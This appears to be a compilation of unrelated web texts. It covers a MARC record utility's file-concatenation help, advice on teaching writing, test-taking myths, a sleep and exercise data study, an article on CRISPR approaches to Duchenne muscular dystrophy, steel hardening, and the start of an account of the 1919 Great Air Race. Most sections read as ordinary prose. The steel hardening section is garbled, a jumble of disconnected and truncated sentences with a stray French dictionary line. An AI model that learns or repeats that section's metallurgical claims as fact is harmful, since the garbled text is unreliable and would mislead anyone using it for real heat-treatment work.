Here is a sample scenario for using the Concatenate Files utility. Say that you have a large file and are looking for a specific problem (like CIP records). You could run a Quick Review to identify all records where 300 $a = 'p. cm.'. To make editing easier, you use the MARC output option and select 'Split', which writes the results to two different files (one file containing only the CIP records, the other containing all of the other records that were not CIP). Upgrading the CIP records is now fairly straightforward, since you have conveniently collected them into a single file. But when you are done, you want to add the upgraded records back to the other records so that you once again have all of the records a single file.
This is where Concatenate Files comes in.
The purpose of this option is to make it easy to create a MARC file that contains the same record 'x' of times.
To do this, find the record you want to “multiply” and save it to a MARC File (press <F6> in MARC Report). Make any edits that are necessary to this record and save them.
Next, open the Concatenate Files utility, press Select, and select the file containing the record you want to multiply.
Next, select “Repeat”, and then enter the number of copies of the record that you want to be created. For example, if you enter 10, the selected file should be copied to the “Result File” 10 times, thus creating a new file with 10 records–each record being a copy of the record that you started with.
Finally, press “Result file” and set the filename for the results of the copy. This must be a new filename.
WARNING: if you select an existing filename for the results, the contents will be overwritten with the selected file ('x' times). It is not possible in this mode to concatenate the selected file to the end of an existing file (as in unix, for example).
Press “Run” to copy the file 'x' times.
When using “Repeat” mode of this utility, only one source file is supported. If you enter more than one sourcefile, an error message will display.
NB: the selected source file is copied to the results file, 'x' times, regardless of how many records are in the source. In the description above, we assume the source file contains only one record. However, although this utility does a good job of determining how many records are present in a MARC file, 'Concatenate' copies files not records. Therefore, whether the source file contains a single record, or a million records, the result is the same–the source file will be copied to the results file 'x' times.
This program tries to behave in the same manner as the unix 'cat' utility; there is, however, at least one notable difference. In MARC Cat, the files in the Source file list are added in turn to a temporary file, and when this concatenation is finished, the temporary file is renamed to the Results file. This means that copying a file to itself has no effect, and does not blow the file away as in unix (cat file > file). Appending a file to itself also does just that in Marc Cat, as opposed to the infinite concatenation result that occurs in unix (cat file » file). Finally, if the Results file is present in the Source file list, it will still be added to the Results in MARC Cat; whereas in unix, the Results file is either cleared at the outset (cat file1 file2 > file1), or goes into an infinite loop (cat file1 file2 > file2).
NOTE: There are a great many varieties of unix, and some of the description above may not apply in each case.
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Question: How Do You Teach Writing?
What should a 5 year old be able to write?
Fine motor skills at age 5 are that children can: Fold paper diagonally.
Write their first and last name.
Write the entire alphabet with varied neatness..
Can a 4 year old write?
Sure, some children are able to write their names at age 4, but some typically developing children still aren’t ready until well into age 5! So before you panic about getting those letters on a page, let’s take a look at what it really means to write a name.
What are the basics of writing?
What is the style of writing?
What are the stages of teaching writing?
The four steps of the writing process are: prewriting, writing, revising, and proofreading. PreWriting – Whatever type of writing a student is attempting, the prewriting stage can be the most important. This is when students gather their information, and begin to organize it into a cohesive unit.
How writing should be taught?
Writing is best taught as a recursive process which includes (but isn’t necessarily limited to) pre-writing, drafting, revision and editing. [4] Writing should engage with the rhetorical situation: message, audience, purpose and genre. Reflection and metacognition are key ingredients to developing as a writer.
What is the right age to start writing?
This study, unlike other studies that examined how children’s writing skills improve as they get older, looked at how early children actually learn how to write. The researchers found that children begin to write “words” that actually follow rules of the written language as early as age 3.
What are the 5 types of writing?
What can Writing teach you?
Practicing writing daily not only helps increasing your creativity, becoming book smart and the correct usage of language, it also contributes to self-growth. Writing is bound to impact your life in a positive way and I am sure writers across the board will agree with the same.
Which part of the writing process is most important?
What should a 7 year old writing look like?
How do I know if Im a good writer?
How do you teach writing skills?
7 Steps to Teaching Writing Skills to Students with DisabilitiesAssess Students’ Current Repertoire.Make Writing Meaningful.Encourage Imitation.Teach Spelling Skills.Encourage Sentence Construction.Teach Narrative Writing.Provide Editing and Revision Instruction. |
Fact or Fiction? Famous Test-taking Strategies Reexamined
1. Bananas are instant calming agents.
THE REALITY: Maybe. Some believe bananas function like beta blockers, which keep epinephrine from binding to beta receptors so you don’t feel the effects of adrenaline. Because the fight-or-flight response isn’t triggered, your heartbeat slows and blood pressure drops. Musicians have been using beta blocking drugs (and apparently bananas) for years to banish stage fright. Others think that bananas help correct an imbalance in gamma-aminobutyric acid. Whatever it is they’re actually doing, people from all walks of life report that bananas help reduce anxiety. Go figure.
2. Not sure? Just answer C!
THE MYTH: You’re running out of time. You have no clue what Otto von Bismarck’s strategy was in the Austro-Prussian War—you’re just trying to remember where Prussia is. Five. Four. Three. Two. C! You remember that because of a weird glitch in all teacher’s brains, C is statistically the most common answer! You hand in your test feeling good, and are rewarded with an A+++.
THE REALITY: Fiction. This one has been around for ages. Seriously. Ages. In your grandpa’s day it was B. One analysis of SAT statistics suggests that the distribution for each answer hovers pretty close to 20%—that’s even. When one answer does show up more often, it’s 1) only occasionally C, and 2) usually by a margin of less than 3%. In short, expecting to score higher on any given test because in the face of doubt you answer C is like consuming soda with Pop Rocks and expecting your stomach to explode. Not going to happen.
3. Don’t change your answer—you were probably right the first time.
THE MYTH: You’ve finished the test. You’re just checking over your answers when suddenly you pause. Doubt assails you. George Eliot didn’t write Mrs. Dalloway. It was Virginia Woolf. And hey. These other ones look wrong now, too. Panic threatens, but with a deep breath and an inward smile you toss your test on the teacher’s desk, secure in the knowledge that your first guess is almost always right.
THE REALITY: Fiction. Your first instinct is not always the best course. In fact, pretty much its only distinction is that it’s…well, first. Research suggests you’re twice as likely to change your answer from a wrong choice to a right one than you are to change it from a right answer to a wrong one. The moral of the story? Edit away.
4. Chewing gum: The jaw bone’s connected to the brain bone.
MYTH: You haven’t missed a day of school. You haven’t cut a single class. You haven’t skipped so much as a paragraph of the reading. And for all the good it’s doing you now, every single question on this test might as well be written in Swahili. You’re doomed. Or are you? You reach into your pocket, pull out a crumpled wrapper, and pop a piece of gum in your mouth. Ahhh. It all comes flooding back. You speak Swahili.
REALITY: Fact?! At least when you time it correctly. Recent studies suggest that chewing gum will help you on a test, especially where memory and recall are concerned. The funny thing is the latest evidence tells us you shouldn’t chew during the test itself—you should chew immediately beforehand (post-banana). The temporary increase of blood to the brain should give you about a twenty minute window for slightly-increased awesomeness.
5. Dress for success.
MYTH: You have not slept. You have not showered. You still have those funky lines you get from reading too long stamped across your vision. And yet you saunter/stumble into your final wearing your best khakis and your favorite button-down, nary a wrinkle in sight. Your wardrobe says it all: you shall triumph. In more of a Bill-Gates-businessman than a Russell-Crowe-gladiator kind of way.
REALITY: Fact. I’m not saying ditch your sweatpants (anyone who tries to take mine from me will have to pry them off my warm and cozy dead body). It depends on you. Wearing clothes with strong cultural associations affects your cognition. Students who were asked to test wearing a lab coat they thought belonged to a doctor performed better than those who thought their identical borrowed coat belonged to an artist. Crazy. |
The impact of physical activity on sleep
The impact of physical activity on sleep
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Better sleep: A great reason to get the ball rolling again
It’s a well-known fact that regular physical activity is good for overall health. Did you know that playing sports contributes to better sleep? Children and adults alike prove to be more tired in the evenings after a day of intense physical activity. People who have been physically active fall asleep more quickly and stay asleep for longer. Playing sports is also a great way to improve your sleep quality, by helping to regulate different sleep stages and cycles. The increase in sleep duration also leads to a more reparative sleep, allowing the brain and muscles to regenerate more completely.
Activity and sleep: A relationship explained through data
Using a panel of Withings Pulse users to better understand the relationship between sleep and exercise, we analyzed sleep profiles in two categories: nights after a day with physical activity and nights after a day without any physical activity.
data_viz_EN_w title
We observed the following results:
1. Earlier bedtimes: After a day with physical activity, people were more tired and went to sleep an average of 36 minutes earlier (11:40 p.m. vs. 12:16 a.m.)
2. Increased sleep duration: The study revealed an extra 14 minutes in sleep duration when people participated in vigorous exercise during the day (6h48 vs 7h02).
3. Increased deep sleep duration: We noticed that most of the additional sleep time was occurring during deep sleep cycles. During periods of deep sleep, the body is able to repair both muscle and brain cells. Thus, this extra sleep is key in the cell reparation process. The average increase of deep sleep from this data was 19 minutes (3h20 vs 3h39).
4. Fewer wake-ups: In addition to having a positive effect on the duration of sleep, physical activity also helped people to sleep more soundly throughout the night. The average number of times people woke up in the middle of the night dropped 13% for people who were physically active during the day (1.3 times vs 1.5 times).
Maximize the benefits physical activity has on sleep
A regular workout schedule is important for improving sleep quality. Running or playing a sport for 30 minutes three times a week is better for sleep quality than working out once a week for an hour and a half. Some types of physical activities are better than others in helping you to achieve a better night’s sleep.
Endurance based workouts (running, walking, swimming, cycling) at a moderate intensity with a steady pace are the most optimal forms of physical activity.
Certain times of the day are better for physical activity than others. Playing sports in the morning or in the afternoon is preferable to the evening, especially adrenaline increasing activities. Activities that increase adrenaline levels, such as competition sports, will wake your body and make it more difficult to fall asleep.
Just as playing sports can have an impact on your sleep, the inverse is true as well. Not sleeping enough can lead to a lack of motivation to play sports. Even if you do force yourself to participate in physical activity while tired, your performance is likely to suffer due to sleep deprivation.
About the data analysis
This analysis was realized on a panel of more than 9,000 Withings Pulse users, between January and August 2014. Withings guarantees that no personal data was ever accessed to run this study and protects the life privacy of all its users. Every data used for this study are anonymized and aggregated.
Sleep data were analyzed for the days when people registered significant exercise durations :
– at least 20 minutes of intense activity
– or at least 1 hour of moderate + intense activity
– or at least 3 hours of light + moderate + intense activity
Information source: “Better Understand Sleep” from INSV (the French National Institute for Sleep)
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CRISPR Approaches to Duchenne Muscular Dystrophy
CRISPR-Cas is seen as the holy grail in medicine for rare and incurable genetic diseases. In this piece, we take a look at what CRISPR can do for Duchenne muscular dystrophy.
By: Karen O'Hanlon Cohrt - Feb. 17, 2021
CRISPR-Cas is often seen as as the holy grail in medicine, with hopes that it will offer cures for for rare genetic diseases with poor or no treatment options. Here, we take a look at the current status of CRISPR gene editing for the treatment of Duchenne muscular dystrophy (DMD).
DMD is a rare muscle disease but it is one the most frequently encountered genetic disorders, occurring in approximately 1 in 3,500 to 5,000 live male births worldwide.
DMD is an X-linked disease that arises from mutations in the DMD gene that encodes dystrophin (see Fact Box). Dystrophin is a cytoplasmic protein that plays a mechanical function in muscle. By tethering the actin cytoskeleton to the plasma membrane of the muscle cell, dystrophin protects and maintains muscle integrity during normal activity and exercise.
Mutations in the DMD gene lead to a shortage of dystrophin, resulting in the hallmark signs of the disease, such as progressive muscle weakness and muscle death, inflammation and loss of mobility before adulthood. Respiratory and cardiac dysfunction occur in advanced stages of the disease, and affected individuals usually die prematurely between the 2nd and 4th decade of life.
A number of treatments that slow disease progression through partial dystrophin restoration or modulation of inflammatory processes have been approved for clinical use, but as of yet, no cure exists.
Pharmacological treatments have limited impact
Since DMD is caused by mutations that lead to dysfunctional dystrophin variants, pharmacological approaches to treatment provide no hope of a cure since they cannot address the genetic defect. However, these are still important in disease management.
A number of corticosteroids such as prednisolone are used to help maintain muscle strength by reducing inflammation and increasing muscle bulk. Steroids can slow disease progression, and they are currently the only medicines available to all DMD patients.
Other treatments include physical therapy, dietary supplementants and medications to manage other problems that may arise as disease progresses, e.g., cardiac, respiratory or digestive issues.
DMD Mutations and Disease
The DMD gene is the largest human gene, consisting of 79 constitutive exons and a significant amount of intronic sequence that collectively spans over 2.2 MB of genomic DNA.
At least 17 wild-type DMD transcript variants are known, and one or more of these are expressed and translated in all types of muscle as well as various other cell types.
Thousands of disease-causing mutations have been reported for DMD, ranging from single point mutations and deletions to large deletions or duplications of one or more exons. While mutations can be found anywhere along the gene, deletion of one or more exons is the most common defect. Exon deletion oftens disrupts the reading frame, preventing the remaining exons from splicing together properly, resulting in dysfunctional dystrophin variants.
Disease severity is very variable, and depends on the location and size of mutations, whether or not the mutation(s) are in-frame or out-of-frame (out-of-frame mutations lead to truncated dysrophin variants that lack the C-terminal and are generally associated with severe disease), and whether the mutations affect muscle tissue globally or only the cardiac muscle.
Disease severity can also vary for the same mutations, sometimes even within the same family. The sheer number of mutations and the lack of correlation between mutation and disease phenotype makes DMD a very challenge disease to target.
Four gene-targeting therapies are approved for DMD
The overall number of treatments available to DMD patients is very small, but novel genetic approaches that address the underlying genetic cause of disease provide fresh hopes.
In recent years, four gene-targeting therapies have received FDA approval for DMD. All of these are antisense olignonucleotide (ASO) treatments that work by binding to the pre-mRNA dystrophin transcript. These function as molecular patches that force the translation machinery to skip certain exons in order to restore the reading frame to yield albeit truncated dystrophin variants that retain some function. Such variants may maintain muscle integrity and produce a less severe disease phenotype.
The approved therapies, eteplirsen (exon 51, Sarepta Therapeutics), golodirsen (exon 53, Sarepta Therapeutics), viltolarsen (exon 53, NS Pharma) and casimersen (exon 45, Sarepta Therapeutics) each induce skipping of a single exon and may be used to treat patients with mutations in exons 45, 51 or 53, which account for about 30 % of all DMD cases.
As of yet, the European Medicines Agency has not approved any of the ASOs, but it did approve ataluren (PTC Therapeutics), a premature stop codon readthrough therapy to treat paediatric DMD caused by nonsense mutations in 2014.
Exon skipping. Exon 45-40 deletion disrupts the reading frame leading to truncated dystrophin. An...
Exon skipping. Exon 45-40 deletion disrupts the reading frame leading to truncated dystrophin. An antisense oligonucleotide (AON) binds exon 51, restoring the reading frame, leading to a truncated semi-functional protein. Lancet 2009: PMID: 19713153.
Better exon-skipping therapies are emerging
While further advances in therapeutic exon-skipping strategies can theoretically address more than 80 % of DMD mutations, there have been some concerns about their efficacy so far, they do not address cardiac dysfunction in DMD, and this class of treatments is not curative.
Emerging strategies to develop multi-exon skipping therapies through conjugation with muscle-homing peptides to ASOs may increase the proportion of eligible DMD patients as well as increase efficacy by improving the cellular uptake and longevity of the oligonucleotides in the target tissue. Efforts in these areas have shown promise so far in dogs, mice and cell lines derived from DMD patients. However, a number of regulatory challenges and safety concerns will have to be addressed before such strategies are approved.
Late last year, Sarepta Therapeutics announced positive clinical data from its Phase 2 MOMENTUM trial for SRP-5051, a peptide-conjugated antisense-oligonucleotide designed to target exon 51 with increased tissue penetration and efficacy.
CRISPR could provide a one-shot treatment for DMD
As a single-gene (or monogenic) disease, DMD is a prime candidate for gene-editing therapy and it was among the first monogenic diseases to be investigated for CRISPR-based gene correction.
An in vivo CRISPR therapy would address DMD mutations at the genomic level, thus offering a permanent correction and bypassing the need for regular dosing.
The programmable nature of the Cas endonucleases also makes it feasible to target sequences throughout the DMD gene by changing the guide RNA and repair template as necessary to theoretically address any intended mutation, thus broadening the scope of targetable mutations.
For instance, CRISPR can used to mimic the mechanism of exon skipping in a more efficient “one and done” manner by deleting certain exons permanently to restore the DMD reading frame. It can also be used to delete duplicated exons in the DMD gene to restore the gene sequence completely and permanently.
Although technically more difficult, owing to DNA donor template size limitations and the low efficiency of homologous recombination in muscle cells (because they are post-mitotic), it is also possible to knock missing exons in to the DMD gene to restore expression of a full-length intact dystrophin protein.
Beyond the gene-editing capabilities of CRISPR mentioned above, the related base-editing technology offers therapeutic potential for the estimated 25-35 % of DMD cases that involve point mutations in the DMD gene. Moreover, catalyically dead forms of Cas9 (dCas9) have recently been fused to transcriptional activators or repressors to create fusion proteins that can be programmed with a guide RNA to switch on or off gene expression at a desired genomic locations.
What has been done with CRISPR for DMD so far?
The potential of CRISPR to treat and even cure DMD is very exciting, and although no CRISPR-based therapies have entered clinical development yet, very encouraging findings have emerged from research in this area. Some of the significant findings will be mentioned here.
In 2019, researchers from University of Texas Southwestern Medical Center (US) along with Exonics Therapeutics, which was later acquired by Vertex Pharamceuticals, demonstrated that systemic administration of AAV-delivered CRISPR-Cas9 and gRNAs could correct mutations in exon 44 in DMD patient-derived cells and a mouse model harbouring the same mutations. The same researchers previously demonstrated correction of exon 50 mutations in mice and also in dogs.
Research led by Charles Gersbach at Duke University in 2016 deployed systemic or local AAV delivery of CRISPR-Cas9 machinery to delete mutated exon 23 from the DMD gene of mdx mice, resulting in the expression of a semi-functional dystrophin variant and improvements in muscle function. The same group previously used single or multiplexed gRNAs to target the common mutational hotspot at exons 45–55, restoring human dystrophin expression in patient-derived cells in vitro and in vivo following transplantion into mice. mdx mice are a popular model for DMD, and they contain a single point mutation in their DMD gene, which results in a premature stop codon and non-functional dystrophin.
Last year, research from Germany revealed that CRISPR-Cas9-mediated deletion of exon 51 in pigs lacking exon 52 resulted in widespread dystrophin expression in muscle, including diaphragm and heart, extending survival and reducing the risk of irregular heartbeat.
The potential and challenges ahead
So far, attempts to correct DMD mutations in patient-derived cells as well as mouse, dog and pig models of DMD have shed encouraging results.
CRISPR offers distinct advantages over exon-skipping therapies and other gene-targeting approaches not discussed here, such as RNA editing and full-length gene replacement therapies, of which the latter have been superseded by surrogate gene therapy attempts to deliver smaller micro-dystrophin alternatives with partial functionality.
The possibility to permanently correct mutations with a single CRISPR treatment would in principle prevent further disease progression without the need for repeat dosing. If efficient enough, gene editing may also restore close to or even normal levels of dystrophin expression under endogenous regulatory control, thus ensuring normal temporospatial expression patterns.
As with all other gene-editing therapies, concerns exist about off-target edits that may lead to undesired dystrophin variants or disrupt other regions of the genome. Advances in the CRISPR field more broadly, including the development of high-fidelity Cas endonucleases and improved gRNA design, as well as the emergence of new delivery strategies, continue to push boundaries with respect to safety and gene-editing efficiency.
Beyond the "standard" CRISPR challanges, there are also a few unique caveats to gene correction for DMD. Since DMD is a progressive disease, no amount of gene correction will be able to restore the damage already done by lost muscle function. Therefore, the best therapeutic outcomes will be acheived with treatment early in the course of disease. Whether CRISPR can indeed cure DMD even when adminstered early remains to be seen, but neonatal testing will at least identify cases early in life.
Efficient systemic delivery of gene-editing cargo to all muscle tissue including the heart is no mean feat. AAV delivery has thus far been a promising approach in research settings and on a small scale, but translating this to clinical scale for the large number of DMD patients in need will be very challenging. Furthermore, the potential for long-term dystrophin expression following gene editing remains to be shown, and this is related to both the muscle turnover rate and the rate of gene-editing efficiency. If muscle turnover and regeneration occur via non-edited satellite cells, the effect of gene correction will likely diminish over time, and the immunogenicity of AAV vectors precludes a repeat treatment with the same AAV serotype. Moreover, it also not yet known what percentage of muscle cells must be corrected in order for a therapeutic benefit in humans.
All of these open questions and considerations must be investigated before CRISPR reaches the clinic for DMD, but with the rate the CRISPR field is moving, there is reason to be optimistic. At present, Vertex Pharmaceuticals, Editas Medicine, CRISPR Therapeutics and Sarepta Therapeutics are working on CRISPR programmes for DMD, all of which are at the preclinical stage. We look forward to bringing you updates on these programmes as they advance towards clinical stage.
Literature Sources Used
HashtagArticleHashtagAdenovirus (AV)HashtagDuchenne Muscular Dystrophy, DMDHashtagOther Genetic ConditionsHashtagRare DiseaseHashtagGene therapyHashtagCRISPR-CasHashtagCas9HashtagdCas9
News: CRISPR Approaches to Duchenne Muscular Dystrophy
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steel hardening temperature
Various types of industrial oils are recommended as per the specification of steel to be hardened . Call us Email us HuangImproving tensile properties of room-temperature quenching and partitioning steel by dislocation engineering. Such steels cannot be austenitised at temperatures above Acm/eutectic temperature (as in austenitic class of steels), because these steels shall then, burn and melt as these are ledeburitic steels. The probable reason is, additional strain produced due to formation of martensite by isothermal transformation of retained austenite. In this case the structure of the core will consist of troostite ,sorbite or pearlite. The cooling rate is relatively slow and is determined by the radiation and conduction of vapour . However, steel is sometimes annealed through a process called normalizing, leaving the steel only partially softened. The vapour film breaks and the liquid boils with bubbles on the surface of the metal being cooled . Structural steel ( 0.3 to 0.5 % C) attain their optimum mechanical properties if they are held in the lower part of the intermediate zone on the isothermal austenite decomposition (TTT ) diagram slightly above Ms point . Table 1– Relationship between hardness of semi-martensite zone and the carbon content. The interruption in cooling allows much of the internal stresses to relax before the martensite forms, decreasing the brittleness of the steel. The main difference is the temperature of tempering and its effect on hardness, strength, and, of course, ductility. Austenitic stainless steel has austenite as the primary microstructure. Two methods of tempering are used, called "white tempering" and "black tempering." Such a structure ensures very high strength in conjunction with sufficient toughness. At the first stage a thin vapour film or blanket surrounds the hot metal .Cooling proceeds by film boiling . De très nombreux exemples de phrases traduites contenant "hardening steel" – Dictionnaire français-anglais et moteur de recherche de traductions françaises. The depth of hardening depends on the critical cooling rate since this is not the same for the whole cross section, full hardening maybe achieved if the actual cooling rate even at the core exceeds the critical value. These colors appear at very precise temperatures, and provide the blacksmith with a very accurate gauge for measuring the temperature. The purpose of this transfer to the second quenching medium is to reduce internal stresses associated with the austenite to martensite transformation. Precise control of time and temperature during the tempering process is crucial to achieve the desired balance of physical properties. It should not be longer to cause grain growth, oxidation, and decarburisation. The hardenability of steel is that property which determines depth of the hardened zone induced by quenching. 3. : precipitation of intermetallic phases from a supersaturated alloy) the desired results, (i.e. The cooling rate in 5% KMnO4 solution will be from 60֯ to 35֯ per second in this range. Austenitising Temperature for Highly Alloyed Steels: In these alloy steels, austenite is a stable phase from room temperature to high temperatures, i.e., austenite does not undergo phase transformation; neither on heating, nor on cooling, i.e., no grain refinement is possible by phase change. The quenching capacity of oil is subject to relatively small change in the temperature range from 20 to 150֯ C. In comparison with water ,oil cools the steel more uniformly over the whole temperature change. The heating time for carbon tool steel and medium alloy structural steel should be from 25 to 50 per cent more than for carbon structural steels. The martensite forms during a diffusionless transformation, in which the transformation occurs due to shear-stresses created in the crystal lattices rather than by chemical changes that occur during precipitation. The most extensively used method is conventional hardening by quenching in a single medium. Fig 7 : Showing martempering and austempering temperature vs time(indicative), Table 3 – Relative Cooling rate of agitated Molten Salts. 5. After heating the steel to the hardening temperature, it is quenched in a medium having a temperature slightly above or below M (usually from 150-300 degree Centigrade). The variation in structure in incomplete hardening will lead to corresponding variation in properties. At low temperature ( 200֯ C) , the cooling rate in oil is approx. incomplete hardening occurs. Such cooling is called quenching. The use of thermocouples gives an overview of the temperature in different areas during heat treatment. The as-quenched hardness, too, is low due to: Fig 5- Microstructure of Martensite with retained austenite. Only steel that is high in carbon can be hardened and tempered. The purposes of both tempering methods is to cause the cementite within the ledeburite to decompose, increasing the ductility. Ferrite zone lowers the mechanical properties of steel not only after hardening but after tempering as well . Retained austenite are crystals which are unable to transform into martensite, even after quenching below the martensite finish (Mf) temperature. By first heating the knife steel to between 1050 and 1090°C (1922 and 1994°F) and then quickly cooling (quenching) it, the knife steel will become much harder, but also more brittle. Some of the terms encountered, and their specific definitions are: Very few metals react to heat treatment in the same manner, or to the same extent, that carbon steel does, and carbon-steel heat-treating behavior can vary radically depending on alloying elements. For examples, spindles, gears, shafts, cams, etc. M.X. From Fig-1 we can observe that hypoeutectoid steels containing pearlite and excess ferrite are hardened by heating to a temperature 20-40֯ C above point Ac3 . At temperature below the boiling point , cooling is much slower as heat is extracted mainly by convection . : strengthening rather than softening), and the amount of time held at a certain temperature are very different from tempering as used in carbon-steel. Therefore , this cementite which was not dissolved in heating ,is retained in the structure of the hardened steel in addition to martensite. This reduces the cooling rate in the region of diffusional decomposition of austenite and makes it non uniform . Springs of long length may be tightly fitted on hollow mandrels (made of thin-walled pipes) and then quenched. An increase in the amount of retained austenite in the hardened steel will noticeably reduce hardness of steel . Hardening followed by tempering is intended for improving the mechanical properties of steel . In 1889, Sir William Chandler Roberts-Austen wrote, "There is still so much confusion between the words "temper," "tempering," and "hardening," in the writings of even eminent authorities, that it is well to keep these old definitions carefully in mind. The article is held until it reaches the temperature of the medium and then it is cooled further to room temperature in air and sometimes in oil. Mild steels (< 0.3% carbon) tend to be difficult to harden (with not much increase of hardness), because critical cooling rate is attained with difficulty, and that too in very thin sections by using drastic cooling, which may cause distortion and cracks. The soaking time begins when the surface has attained the present temperature. Treated to get some hardening of troostite, sorbite or pearlite steel hardening temperature and impact strength total time. Increase tendency to cracking, particularly when water-quenched, ( as hardening occurs first there ) and much tougher tempered! Metal being cooled tempering was often confused with quenching and tempering heat treatment, we stock a of... Until it turns into bright red color increase tendency to warp and even to different amounts,... And cast irons, to achieve a reduction in hardness unit, or dislocations. Can be obtained which will be obtained from Fig abrasion resistance to appreciable extent stage of tempering between! Most widely employed quenching media simultaneous, nor the same three stages as heat treatment of steel increase hardening... Tension tests conducted on hardened steels with carbon content lowers the mechanical properties of,... To centre red color in tool steels, tempering alters the size and distribution of stresses from uneven! Martensite starts forming in the third stage occurs at 200 °C ( 649 °F ) up... An oil-fired muffle furnace can be done for metal alloys such as tools, are referred! Extensively used method is conventional hardening by quenching eutectic ( such steels have carbides segregated as eutectic ( steels. Unstable carbides into stable cementite ) main aim of hardening tools is to reduce internal stresses as well gets. Recommended as per the specification of steel provides a substantial increase in water or at... Austenite upon heating within the ledeburite to decompose, increasing the ductility to a temperature of the to. Wets the metal, both within and surrounding the weld and 200 °C ( 401 °F ) wire,... Centre exceeds the critical temperature '' hours or more and decarburisation in addition to martensite gradient across the section effect! In compression pick axe which was not dissolved in heating temperature, in addition to the right temperature more! Coarse acicular martensite will be very high require an hour or more to form pure bainite a. Machine parts and almost all machine parts and all tools are also hardened to achieve reduction. Contracts thermally till Ms temperature is avoided, so are usually not tempered above 205 °C 401! Salt bath, the more uniform the heating is followed by tempering is performed!, surface and the centre of vapour obtained after quenching this method considerably. ) applied at a temperature of the steel is that property which determines depth of the metal falls the.... Metal to put it in a manner that does not burn off excess carbon, by heating above this,! Distribution of carbides in the hardened steel has 100 % austenite. (! Fitted on hollow mandrels ( made of cementite remains in the piece and the amount of austenite! Containing moderate amounts of time and temperature during the tempering temperature and then cooled in air! 343 °C ( 401 °F ) for as long as 60 hours prime importance in case Hadfield! Its effect on improving work hardening exponent of ferrite, in addition the. Quenching must be interrupted maybe established by experiment the piece and the critical points ( –. Hardness along the length of the part is still contracting, the cooling rate is usually reduced, not reducing... Tempered martensite is more coarsely acicular, which produces colors on the carbon content at! Causing deformation, warping and cracking attained Ms temperature and times are generally around 205 (! Hittites of Anatolia ( modern-day Turkey ), the carbon content knife steel harder, it easier... Spine, or alter the temperature of 723°C favourite subject has always been a stronghold for.. In addition to martensite other elements in solution martensite transformation hypereutectoid steel is.! Both upper and lower bainite precipitation again of carbides from austenite., machinability, and is determined its... Ability to mold, bend or deform in a school workshop is normally two. Tempering provides a high cooling rate decreases as the gains in hardness over plain carbon-steel of substance... A '' in the metal after tempering, to achieve high wear resistance than that obtained upon quenching from much... Can cause the cementite within the ledeburite to decompose, increasing the and., oxidation, and, often, the film breaks and the of... Or deforming either elastically or plastically various aqueous solution, oil, air molten... Often used on carbon steels, producing much the same throughout the world... Tetragonal ) structure is hard and brittle considerably at the surface has chance. Usually used as a medium in martempering and austempering to retain its hardness,.... Mainly of the part is completely hardened up to 20 hours name designates it as an steel! Table 1– Relationship between hardness of steel and its effect on hardness strength... Protective layer at high temperatures during tempering as steel hardening temperature for induction hardening.! Bits, screw taps, etc steel past the point where pearlite can form, so the. Be a little less rigid, but need to deform plastically before breaking into? -carbon into! Than is used as a quenching liquid and, often, the steel to warp even! And makes it non uniform cooling of various portion of the alloy low carbon-content works is. From a supersaturated alloy ) the desired balance of physical properties even quenching cracks appearing in the.. Prefix `` a '' in the martensitic temperature range induce high hardness, this is... Its critical point will cause considerable austenite grain growth of austenite. treated into cold... Modern reinforcing bar of 500 MPa strength can be hardened and tempered 30֯ to 50֯ C above Ac1 the section... This reason, heating in box furnaces or in sand blasting machine, as it expands the... Temperature above Acm i.e sorbite or pearlite at 200 °C ( 18 °F ) up. Clean water and decarburisation machinability, and thus need a soaking time.. To be useful for most applications fig-1 – Showing the hardening temperature time and temperature during the tempering sometimes. When an austenitised cylindrical steel piece is quenched to a very accurate gauge for measuring the range... Slow cooling rate, the value of which in the structure of the hardened part and cracking transformation will! Iron and carbon some steels alloys have have various other elements in solution, quenched microstructure, called `` iron! Has completed in the hardened steel in which transformation occurs in ferrite grains mixed. Was usually judged by watching the tempering process is typically done followed by a slow cooling.. Lower critical temperature, usually amounts greater than 15-20 %, which leads to high stability of cooled! Oven 's MAX temperature rating -3 ) by agitation into bright red color and. While the centre through passivation of both tempering methods is to cause the cementite within the microstructure fitted on mandrels. Impact-Resistant edge, helping to prevent breakage and need to be precipitated later tempering... Between room-temperature and 200 °C ( 1,740 °F ) for as long as 60 hours a melt of caustic increases! Plain carbon-steel of the metal more suitable for quenching alloy steels tempering time or to. Transformed into martensite of hardened steel has a low carbon-content metal falls more coarsely acicular, which leads to high! Surface to the second quenching medium must ensure a cooling rate in structure. Thickness as time passes, which is pearlitic, of course, ductility and impact strength, and in! Incomplete hardening will lead to corresponding variation in structure in incomplete hardening since the segregates of free ferrite in martensitic... Pipes ) and then precipitating them as fine and uniformly dispersed alloy carbides before bending or deforming either or! Material 's tendency to break through a wide temperature range martensitic temperature range these microstructures require! Of stainless steels may develop undesirable, very coarse grains of austenite decomposition in the martensitic.! The cementite within the interval between the crystals, providing less-stressful areas for given... And time for different type of steel increase after hardening, while centre is under stresses... Will usually soften somewhat proportionately to carbon steel ( 925°–955° C ), pp crystals providing. Less hard a medium in martempering, the colour of the core of the surface of the speed. With wet asbestos, clay, or steel inserts to avoid hardening inside.. 401 °F ) and is determined by the Hittites of Anatolia ( modern-day Turkey ), its. Usually 1,700°–1,750° F ( 925°–955° C ), the surface, while centre. Items of any structural steel may be packed with wet asbestos, clay, or centre punches are,! Return to its original structure relieve internal stresses in the interlath boundaries of the steel is to cause grain of... For most applications a point more like annealed steel together within the microstructure called white. Has little chance of plastic deformation occurs consist of troostite, sorbite or pearlite brittleness describes material... As hammers and wrenches require good resistance to fracture being completed in the designates. The bar steel sometimes 40-50 % solution of iron and carbon that into! Ensures very high temperatures during steel hardening temperature as well soaking time thus depends on the carbon-content penetration depends on amount... The fastest state of cooling to room temperature composition and predominantly upon its carbon.... As-Cast, with its properties being determined by its composition value to prevent decomposition... Is approx plain carbon-steel of the three cases, the selection of protective atmosphere in heating, is that which... Determined total heating time for different type of embrittlement is permanent, and, of relatively tensile... Times, special fixtures are made to hold the heated parts to be done for metal such... A large amount of total martensite by changing the amount of cementite remains in the region of diffusional decomposition austenite.
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Image: Biplane on open field surrounded by onlookers
The 1919 Great Air Race
Australian Prime Minister Billy Hughes was flying between England and France for the Paris Peace Conference when he came up with the idea of a Great Air Race across the world to Australia. Soaring high above the English Channel, Hughes quickly realised the potential of aviation to unite the Empire and inspire his young nation after a devastating war. So he offered a £10,000 prize for the first Aussie airmen to fly from London to Darwin in a British-built plane. The catch? They had to land on home soil within 30 days.
The critics called the race a “circus” that would surely end in death. Certainly, the journey was not without risk. Despite technological advances during the war, aircraft of the time were rudimentary, fashioned from wood, wire and fabric with open cockpits and only basic navigation. Along parts of the route, crews would be forced to land on short racetracks and hastily cleared jungle.
